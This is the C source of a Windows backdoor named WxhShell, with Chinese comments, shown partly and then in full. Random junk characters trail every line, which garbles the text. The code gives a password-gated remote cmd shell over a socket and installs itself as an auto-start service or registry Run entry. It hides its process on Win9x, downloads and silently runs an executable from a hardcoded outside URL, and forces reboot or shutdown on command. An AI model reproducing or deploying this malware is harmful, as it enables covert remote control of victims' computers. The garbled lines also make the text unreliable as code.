    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =6y4*f  
    else { WZOi,  
    closesocket(wsh); p-POg%|&<  
    ExitThread(0); LBh|4S$K  
    } rwWs\~.H  
    break; AcqsXBKd  
    } s5_[[:c=^  
  // 获取shell _DnZ=&=MA  
  case 's': { j7IX"O%f\  
    CmdShell(wsh); (C dx7v2Nh  
    closesocket(wsh); s"7wG!yf  
    ExitThread(0); w] i&N1i  
    break; 56Z 1jN^U  
  } B[%FZm$`M  
  // 退出 h:\WW;s[B  
  case 'x': { dO =fbmK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u[5*RTE  
    CloseIt(wsh); J!b v17H"  
    break; Q*u4q-DE  
    } )kfj+/  
  // 离开 Km7HB!=<  
  case 'q': { 1:h{( %`&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 56T<s+X>  
    closesocket(wsh); kq&xH;9=.  
    WSACleanup(); q+<X*yC  
    exit(1); ~xZFm  
    break; vPz$jeA  
        } "xe %  IS  
  } l*V]54|ON3  
  } t}n:!v"|+O  
$$ma1.t"  
  // 提示信息 ca%s$' d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -'ePx f  
} 9|R]Lz3PA  
  } O~sv^  
?:73O`sX:  
  return; fTQRn  
} .-2i9Bh6  
dF$a52LS  
// shell模块句柄 lO&TSPD^  
int CmdShell(SOCKET sock) v[~e=^IIsl  
{ kcGs2Y_*&  
STARTUPINFO si; )!M %clm.  
ZeroMemory(&si,sizeof(si)); \ <b-I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }i0(^"SoXZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !A!}j.s  
PROCESS_INFORMATION ProcessInfo; f"My;K$l;  
char cmdline[]="cmd"; I<yd=#:n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |+K3\b  
  return 0; M*li;  
} /D2 cY>  
*M6' GT1%c  
// 自身启动模式 EX zA(igS  
int StartFromService(void) GG@GjP<_  
{ sx7;G^93  
typedef struct B7HNNX  
{ W?is8r:  
  DWORD ExitStatus; /o%J / |  
  DWORD PebBaseAddress; rV;X1x}l  
  DWORD AffinityMask; Z&BJ/qk \-  
  DWORD BasePriority; ]U?)_P@}  
  ULONG UniqueProcessId; ,tqMMBwC~_  
  ULONG InheritedFromUniqueProcessId; 3Run.Gv\  
}   PROCESS_BASIC_INFORMATION; BSU%.tmI  
8ExEhBX8  
PROCNTQSIP NtQueryInformationProcess; )%H@.;cD_r  
k<xPg5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [HNWM/ff7+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Xo^P=uf%  
7:iTx;,v  
  HANDLE             hProcess; _gDEIoBp  
  PROCESS_BASIC_INFORMATION pbi; `P/7Mf  
|Rk9W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z{&dzc  
  if(NULL == hInst ) return 0; 3Ov? kWFO  
tgeX~.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #( G>J4E,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aLa{zB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J" :R,w`  
=@BVO @z@  
  if (!NtQueryInformationProcess) return 0; W>[0u3  
;J<K/YdI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4I&e_b< 30  
  if(!hProcess) return 0; .%Pt[VQ  
5MU-Eu|*>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dZ]['y%  
e0rh~@E  
  CloseHandle(hProcess); 0i%r+_E_  
SbrKNADH%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9*`(*>S  
if(hProcess==NULL) return 0; /XEt2,sI9  
qRk<1.  
HMODULE hMod; +q*Cw>t /  
char procName[255]; /O@TqH  
unsigned long cbNeeded; _p <]jt  
aS2Mx~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6ooCg>9/Z  
W#^W1j>_G  
  CloseHandle(hProcess); 9UbD =}W  
C|or2  
if(strstr(procName,"services")) return 1; // 以服务启动 #>[BSgW  
.r=F'i}-j*  
  return 0; // 注册表启动 b9 Gq';o  
}  }\ ^J:@  
OH+kN /Fd  
// 主模块 Lt 8J^}kwl  
int StartWxhshell(LPSTR lpCmdLine) qpjG_G5/  
{ .eZsKc-@  
  SOCKET wsl; PRTn~!Z0  
BOOL val=TRUE; ePD~SO9*  
  int port=0; '+8`3['  
  struct sockaddr_in door; 4n}tDHvd  
g$CWGB*%lm  
  if(wscfg.ws_autoins) Install(); RH^!7W*  
u( kacQ7  
port=atoi(lpCmdLine); ',>Pz+XKc  
-(ev68'}W  
if(port<=0) port=wscfg.ws_port; YoU|)6Of   
],.1=iY  
  WSADATA data; DAvF ND$=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +c&oF,=}!P  
?^f=7e8]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gjbSB6[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vZ0K1UTEXY  
  door.sin_family = AF_INET; e"I+5r",  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hv4om+  
  door.sin_port = htons(port); 8l<4OgoK  
4nvi7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %]U'   
closesocket(wsl);  MjjN  
return 1; /);S?7u.  
} SO!|wag$  
"bhF`,V  
  if(listen(wsl,2) == INVALID_SOCKET) { R}T8cVxc  
closesocket(wsl); y'{*B(  
return 1; 8x,{rS qq  
} _/\U  
  Wxhshell(wsl); agI"Kh]j?  
  WSACleanup(); j o+-  
655OL)|cD6  
return 0; z yh #ygH  
-G|?Kl  
} q$ZmR]p  
&N+i3l6`  
// 以NT服务方式启动 V]{^}AKc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Zb? u'Vm=u  
{ tjId?}\  
DWORD   status = 0; jeu|9{iTVu  
  DWORD   specificError = 0xfffffff; O~udlVn<6  
LtK= nK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m ?)k&{I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @,\J\ rb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l(~i>iQ 4  
  serviceStatus.dwWin32ExitCode     = 0; ^J]_O_ee$  
  serviceStatus.dwServiceSpecificExitCode = 0; /%F}vW(!  
  serviceStatus.dwCheckPoint       = 0; p)k5Uh"  
  serviceStatus.dwWaitHint       = 0; 9-`P\/  
*mVQN1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s^vw]D  
  if (hServiceStatusHandle==0) return; y' r I1eF  
[t}@>@W|  
status = GetLastError(); Quts~Q  
  if (status!=NO_ERROR) pRez${f.(s  
{ .@`5>_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <Na .6P  
    serviceStatus.dwCheckPoint       = 0; z&Kh$ $)[  
    serviceStatus.dwWaitHint       = 0; 6o cTQ}=  
    serviceStatus.dwWin32ExitCode     = status; rm5@dM@  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3ss0/\3P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W{l{O1,  
    return; 4^IqHx;bj  
  } J=`2{ 'l  
Rk$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CTP!{<ii  
  serviceStatus.dwCheckPoint       = 0; tbm/gOBw  
  serviceStatus.dwWaitHint       = 0; YLU.]UC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &W*do  
} q L-Ni  
tmgZNg  
// 处理NT服务事件,比如:启动、停止 &`LR{7m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;JHR~ TV  
{ 86f8b{_e"  
switch(fdwControl) 0Z&ua  
{ j0.E!8Ae{  
case SERVICE_CONTROL_STOP: 2E$K='H:,  
  serviceStatus.dwWin32ExitCode = 0; v1aE[Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b+tm[@|,v  
  serviceStatus.dwCheckPoint   = 0; 4R&e5!  
  serviceStatus.dwWaitHint     = 0; dm~Uj  
  { 6$5?%ZLJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xWuvT,^  
  } p\G1O*Z  
  return; }xb?C""q^q  
case SERVICE_CONTROL_PAUSE: }7+`[g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j FH wu*  
  break; x T{s%wE  
case SERVICE_CONTROL_CONTINUE: z0-[ RGg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !;U;5e=0  
  break; 87p tab@  
case SERVICE_CONTROL_INTERROGATE: )TtYm3,  
  break; FE4P EBXvu  
}; g}gOAN3.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? \p,s-CR:  
} 6BY(Y(z  
dhCrcYn  
// 标准应用程序主函数 m> YjV>5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k8S`44vj  
{ Dwa.ZY}-  
QZ2a1f'G  
// 获取操作系统版本 3T)_(SM"  
OsIsNt=GetOsVer(); 5STk"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {9;x\($&a  
8}.V[,]6  
  // 从命令行安装 (/ e[n.T  
  if(strpbrk(lpCmdLine,"iI")) Install(); Lz:Q6  
N;|:Ks#!  
  // 下载执行文件 @@=e-d  
if(wscfg.ws_downexe) { *Kmo1>^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tpj6AMO/`d  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;4Wz0suf  
} v"8i2+j  
EHF dQ0gIa  
if(!OsIsNt) { Qk?J4 B  
// 如果时win9x,隐藏进程并且设置为注册表启动 n>L24rL  
HideProc(); 3ahbv%y  
StartWxhshell(lpCmdLine); i0g/'ZP  
} I2^@>/p8\(  
else 'X P  
  if(StartFromService()) S '(K  
  // 以服务方式启动 i@o'Fc  
  StartServiceCtrlDispatcher(DispatchTable); <o"2z~gv  
else YGsg0I't  
  // 普通方式启动 ^EZ?wdL  
  StartWxhshell(lpCmdLine); ]r@CmwC  
$l/w.z  
return 0; %Y-KjSs+l  
} =`/GB T$  
C)(/NGf  
!9]q+XefJ  
:P?zy|aBi  
=========================================== W+'f|J=  
0kxe5*-|  
iM +p{ /bN  
K [R.B!;N  
.gs:.X)TG9  
R&@NFin  
" ^2-+MWW.  
LLU]KZhtY|  
#include <stdio.h> /" 6Gh'  
#include <string.h> Nf1&UgX  
#include <windows.h> ' )~G2Ys  
#include <winsock2.h> jm&PGZ#n=R  
#include <winsvc.h> J5L[)Gd)D  
#include <urlmon.h> aBT8mK -.  
0RGqpJxk  
#pragma comment (lib, "Ws2_32.lib") 1pJ?YV  
#pragma comment (lib, "urlmon.lib") ur JR[$p  
VX,@Gp_'m  
#define MAX_USER   100 // 最大客户端连接数 Sp./*h\}  
#define BUF_SOCK   200 // sock buffer "Ax#x  
#define KEY_BUFF   255 // 输入 buffer r [4dGt  
,nGZ( EBD  
#define REBOOT     0   // 重启 K'zBDrkW-x  
#define SHUTDOWN   1   // 关机 (&oT6Ji  
Hq0O!Zv  
#define DEF_PORT   5000 // 监听端口 ey ?paT  
1( vcM  
#define REG_LEN     16   // 注册表键长度 iL;{]A'0  
#define SVC_LEN     80   // NT服务名长度 0ra+MQBg  
I7?s+vyds  
// 从dll定义API s&D>'J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |l673FcJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JK^pb0ih  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JTdcL mL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m?O"LGBB =  
x%OJ3Qjj=  
// wxhshell配置信息 )vy_m_f&  
struct WSCFG { ?a{>QyL  
  int ws_port;         // 监听端口 =g<Yi2  
  char ws_passstr[REG_LEN]; // 口令 %+ur41HM  
  int ws_autoins;       // 安装标记, 1=yes 0=no f@H>by N  
  char ws_regname[REG_LEN]; // 注册表键名 M6:$ 0(r  
  char ws_svcname[REG_LEN]; // 服务名 @i=_y+|d_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uE^5o\To  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oRQ( l I>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m:5x"o7)ln  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vg-'MG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _GsHT\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tW=oAy  
t&nK5p95(  
}; b0h>q$b  
F:'>zB]-}  
// default Wxhshell configuration R:Tv'I1-L  
struct WSCFG wscfg={DEF_PORT, R0bWI`$Z  
    "xuhuanlingzhe", ^9`~-w  
    1, }-%:!*bLj  
    "Wxhshell", i?IV"*Ob1N  
    "Wxhshell", mL3 Q  
            "WxhShell Service", f1X]zk(=W  
    "Wrsky Windows CmdShell Service", U~_G *0  
    "Please Input Your Password: ", ?Suv.!wfLl  
  1, E#/vgm=W;  
  "http://www.wrsky.com/wxhshell.exe", I^!c1S  
  "Wxhshell.exe" xG|n7w*  
    }; 7-2,|(Xg  
<-N7Skkk!  
// 消息定义模块 &D#B"XI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yYPFk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g{^(EZ,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4S*7*ak{  
char *msg_ws_ext="\n\rExit."; <c]?  
char *msg_ws_end="\n\rQuit."; LhQidvCNJ  
char *msg_ws_boot="\n\rReboot..."; !y7w~UVs  
char *msg_ws_poff="\n\rShutdown..."; @h)X3X  
char *msg_ws_down="\n\rSave to "; j\TS:F^z  
Xf*}V+&WN  
char *msg_ws_err="\n\rErr!"; Qvm[2mb  
char *msg_ws_ok="\n\rOK!"; ~RIa),GVX  
e<-^  
char ExeFile[MAX_PATH]; R~d{Yv  
int nUser = 0; S@6 :H"  
HANDLE handles[MAX_USER]; fp'%lbk=  
int OsIsNt; J%lEyU  
C:{&cIFrPe  
SERVICE_STATUS       serviceStatus; eZ;DNZK av  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W=zp:6Z~  
dY'>'1>P 9  
// 函数声明 W kSv@Y,  
int Install(void); eN-lz_..7  
int Uninstall(void); S\W&{+3  
int DownloadFile(char *sURL, SOCKET wsh); c*Q6k<SKR  
int Boot(int flag); 3?-2~s3gp  
void HideProc(void); 8npjQ;%4>  
int GetOsVer(void); 5gH'CzU?  
int Wxhshell(SOCKET wsl); m"tke'a  
void TalkWithClient(void *cs); L0>w|LpRc  
int CmdShell(SOCKET sock); ;7bY>zc(w  
int StartFromService(void); /*hS0xN*  
int StartWxhshell(LPSTR lpCmdLine); g33Y]\  
@j+X>TD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .tt=\R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Su/}OS\R  
THHA~;00YN  
// 数据结构和表定义 axLO: Q,  
SERVICE_TABLE_ENTRY DispatchTable[] = ]R6Z(^XT,E  
{ 9<6Hs3|.!  
{wscfg.ws_svcname, NTServiceMain}, A:YWXcg  
{NULL, NULL} <PTi>C8;r  
}; g].v  
Mp)|5<%  
// 自我安装 uW^W/S%'  
int Install(void) | sZu1K  
{ g0"KC X  
  char svExeFile[MAX_PATH]; -KU@0G  
  HKEY key; Ps9YP B-  
  strcpy(svExeFile,ExeFile); %LBT:Aw  
n^$HC=}S  
// 如果是win9x系统,修改注册表设为自启动 ["XS|"DM  
if(!OsIsNt) { Eumdv#Qg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5H |<h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  9Li.B1j  
  RegCloseKey(key); _~_6qTv-d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WDQw)EUl&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iBPx97a  
  RegCloseKey(key); dxF/]>t  
  return 0; 77o&$l,A|  
    } `%Uz0hF  
  } fqS cf}s  
} 2mVLR;s{_  
else { ~ZXAW~a}  
aFVd}RO0  
// 如果是NT以上系统,安装为系统服务 >? ({  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W.VyH|?  
if (schSCManager!=0) 2Ik@L,  
{ HP*AN@>Kw  
  SC_HANDLE schService = CreateService ffE&=eh)  
  ( uq_h8JH$  
  schSCManager, |4u?Q+k%%  
  wscfg.ws_svcname, 8@'Q=".J  
  wscfg.ws_svcdisp, e \ rb  
  SERVICE_ALL_ACCESS, @iD5X.c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rhil]|a/  
  SERVICE_AUTO_START, c0W4<(  
  SERVICE_ERROR_NORMAL, dI|`"jl#  
  svExeFile, vV+>JM6<K  
  NULL, 'ktWKW$ D  
  NULL, (y{nD~k  
  NULL, >m&r,z  
  NULL, PmT,*C`/X  
  NULL ufWd) Q  
  ); 'c|Y*2@  
  if (schService!=0) H-Z1i  
  { HnmByn\j  
  CloseServiceHandle(schService); <u85>x  
  CloseServiceHandle(schSCManager); kFF)6z:2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7]6HXR@  
  strcat(svExeFile,wscfg.ws_svcname); A1nEp0%Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M/^kita  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2gbMUdpp  
  RegCloseKey(key); {ei,>5K  
  return 0; w=S7zzL)  
    } /]*#+;;%  
  } A`qb5LLJ)  
  CloseServiceHandle(schSCManager); 2e @zd\  
} $>mTPNF  
} 8GD!]t#  
]VS$ ?wD  
return 1; =\l7k<  
} ; (;J  
Mb0cdK?hA  
// 自我卸载 9Ucn 6[W  
int Uninstall(void) MOEB{~v`;  
{ HJ,sZ4*]]  
  HKEY key; 9p5{,9.3*  
=#c?g Wb56  
if(!OsIsNt) { 34P5[j!h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !^*I?9P  
  RegDeleteValue(key,wscfg.ws_regname); %aeQL;# V  
  RegCloseKey(key); r` T(xJ!)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ET7(n0*P}]  
  RegDeleteValue(key,wscfg.ws_regname); 4?a!6  
  RegCloseKey(key); wf8GH}2A  
  return 0; -O=a"G=  
  } (iZE}qf7 g  
} X@ Gm:6  
} );.q:"  
else { ;qF#!Kb5  
(~>L \]!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ck0R%|  
if (schSCManager!=0) Z 7M%}V%  
{  _,2P4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Nl^{w'X0h  
  if (schService!=0) &G>EBKn\2`  
  { @#%rTKD9F  
  if(DeleteService(schService)!=0) { kFG>Km(y}  
  CloseServiceHandle(schService); K$..#]\TM  
  CloseServiceHandle(schSCManager); B R-(@  
  return 0; )2 P4EEs[  
  } 6QOdd 6_d  
  CloseServiceHandle(schService); y'<juaw  
  } 3=r8kh7,  
  CloseServiceHandle(schSCManager); n_n0Q}du  
} J0U9zI4  
} @lP<Mq~]  
[[PUK{P0  
return 1; Eqg(U0k0  
} @:~O  
aO]0|<2 j  
// 从指定url下载文件 kxg]sr"  
int DownloadFile(char *sURL, SOCKET wsh) '`Smg3T!~S  
{ {t$ vsR  
  HRESULT hr; Odr@9MJ  
char seps[]= "/"; k]Y#-Q1p~  
char *token; `1NxS35u  
char *file; :I5]|pt  
char myURL[MAX_PATH];  OT9\K_  
char myFILE[MAX_PATH]; {q1&4U~'>O  
lq$1CI  
strcpy(myURL,sURL); gq6C6   
  token=strtok(myURL,seps); [Pdm1]":(  
  while(token!=NULL) r'p;Nj.  
  { $+<X 1  
    file=token; jG0{>P#+  
  token=strtok(NULL,seps); +_?;%PKkuF  
  } FV/X&u8~  
PZF>ia}  
GetCurrentDirectory(MAX_PATH,myFILE); d{f3R8~Q.  
strcat(myFILE, "\\"); <)zh2UI  
strcat(myFILE, file); KZL5>E  
  send(wsh,myFILE,strlen(myFILE),0); @$~ BU;kR  
send(wsh,"...",3,0); FG~p _[K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6$>m s6g%  
  if(hr==S_OK) N1KYV&'o  
return 0; ,XW6W&vR;  
else Lrr^obc  
return 1; 2k[i7Rl \c  
'!!w|k d  
} _1c'~;  
u!%]?MSc  
// 系统电源模块 I'o9.B8%#  
int Boot(int flag) X9nt;A2TU+  
{ 6-#f1D 6  
  HANDLE hToken; qoMYiF}/e  
  TOKEN_PRIVILEGES tkp; DFs J}` $  
uKqN  
  if(OsIsNt) { B:tST(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )}?'1ciHI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^6+P&MxM  
    tkp.PrivilegeCount = 1; MjG=6.J|`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y$EqBN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RC8{QgaI  
if(flag==REBOOT) { 2|o6~m<pE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Um\Nd#=:  
  return 0; GljxYH"]#  
} kF~}htv.=  
else { qyc:;3?wm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GD|uU  
  return 0; )vsiX}3  
} @.-g  
  } ,:-S<]fS{_  
  else { (^eSm]<  
if(flag==REBOOT) { IR>^U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .F.4fk  
  return 0; I?"cEp   
} _{,e-_hYM  
else { MyuFZ7Q4$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mY.[AIB  
  return 0;  KEsMes(*  
} _U$d.B'*)z  
} PBr-< J  
#:{PAt  
return 1; DI9x] CR  
} Gw3|"14  
uKh),@JV  
// win9x进程隐藏模块 ^o|igyS9  
void HideProc(void) DI**fywu[3  
{ 1d|+7  
a)4.[+wnRf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); " 9 h]P^  
  if ( hKernel != NULL ) rayC1#f  
  { |>GtClL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,;H)CUe1"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WU{G_Fqaz  
    FreeLibrary(hKernel); -GCGxC2u  
  } +D`IcR-x  
.!,T> :R  
return; hI;tB6  
} !u~( \ Rb;  
Tw`^  
// 获取操作系统版本 cW26TtU(  
int GetOsVer(void) Wze\z  
{ >Rjk d>K3  
  OSVERSIONINFO winfo; O@'/B" &  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  _*9eAeJ  
  GetVersionEx(&winfo); XJC|6"n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PR{?l  
  return 1; &voyEvX/S  
  else wvcG <sj  
  return 0; ; @-7'%(C  
} 2ME3=C  
#)hM]=,e  
// 客户端句柄模块 d>)*!l2,C  
int Wxhshell(SOCKET wsl) 9EK5#_L[=  
{ F.?^ko9d  
  SOCKET wsh; 8{@|M l  
  struct sockaddr_in client; @ bPQhn#(g  
  DWORD myID; K]oFV   
n4Ry)O[.  
  while(nUser<MAX_USER) gE0k|Z(RF  
{ UOZ"#cQ  
  int nSize=sizeof(client); g,7`emOX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?^Q!=W<7  
  if(wsh==INVALID_SOCKET) return 1; |jk"; h  
bf-.SX~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yK_$6EtNKj  
if(handles[nUser]==0) Nqk*3Q"f  
  closesocket(wsh); -k|r#^(G2  
else k!>MZ  
  nUser++; J p!Q2}  
  } VjBV2x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PiMh]  0  
)Pakb!0H@t  
  return 0; lDnF(  
} sikG}p0mx<  
0[7\p\Q  
// 关闭 socket w [D9Q=  
void CloseIt(SOCKET wsh) ^9%G7J:vGO  
{ PP.QfY4  
closesocket(wsh); D4ESo)15'  
nUser--; p}.L]Y  
ExitThread(0); ow!utAF  
}  T+9#P4  
-[|R \'i  
// 客户端请求句柄 Nj5Mc>_   
void TalkWithClient(void *cs) y>3Zh5=  
{ 3u^U\xB  
yJ c#y   
  SOCKET wsh=(SOCKET)cs; \ty{KAc&  
  char pwd[SVC_LEN]; b<P9@h~:  
  char cmd[KEY_BUFF]; Q.>@w<[!L  
char chr[1]; <[@AMdS  
int i,j; )/1AF^ E  
|`1lCyV\tE  
  while (nUser < MAX_USER) { D kl4 ^}  
JQj?+PI  
if(wscfg.ws_passstr) { a"EX<6"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |77.Lqqy,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fr#Y<=Jo  
  //ZeroMemory(pwd,KEY_BUFF); "G].hKgbk*  
      i=0; <kN4@bd;  
  while(i<SVC_LEN) { / Of*II&  
J70#pF  
  // 设置超时 (, /`*GC  
  fd_set FdRead; CH[U.LJQ-O  
  struct timeval TimeOut; )q 8w+'z  
  FD_ZERO(&FdRead); JcL4q\g  
  FD_SET(wsh,&FdRead); =&;orP  
  TimeOut.tv_sec=8;  s!X@ l  
  TimeOut.tv_usec=0; 0?8O9i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <^c?M[ j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y[:\kI  
:hr% 6K7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dl mF?N|EC  
  pwd=chr[0]; y{ %2Q)  
  if(chr[0]==0xd || chr[0]==0xa) { u9ObFm$7  
  pwd=0; 0}C> e`<'  
  break; [nZf4KN  
  }  S<#>g s4  
  i++; {4J:t_<nKO  
    } zP$0B!9  
1O]'iS"  
  // 如果是非法用户,关闭 socket epuN~T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j*+[=X/  
} Tw *:Vw  
I(tMw6C$:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VW:WB.K$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q>Voa&tYn  
.<%2ON_  
while(1) { ^aYlu0Wm  
\  {` `r  
  ZeroMemory(cmd,KEY_BUFF); G_vWwH4XtL  
Y"6 '  
      // 自动支持客户端 telnet标准   3 eT5~Lbs  
  j=0; E w#UlA:"v  
  while(j<KEY_BUFF) { 44C"Pl E u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }N[|2n R'  
  cmd[j]=chr[0]; r@b M3V_o  
  if(chr[0]==0xa || chr[0]==0xd) { W^#HR  
  cmd[j]=0; {9:[nqX  
  break; B3|h$aKC  
  } O{b<UP'85  
  j++; sA$x2[*O  
    } R+{QZ'K.qg  
1W3+ng  
  // 下载文件 Wi7!J[ B  
  if(strstr(cmd,"http://")) { ~Cc%!4f'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OH.^m6Z  
  if(DownloadFile(cmd,wsh)) WzG]9$v &  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T'_#Dwmj*  
  else =h5&:?X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KYa}k0tVAp  
  } O?\UPNb:K  
  else { -KV)1kET  
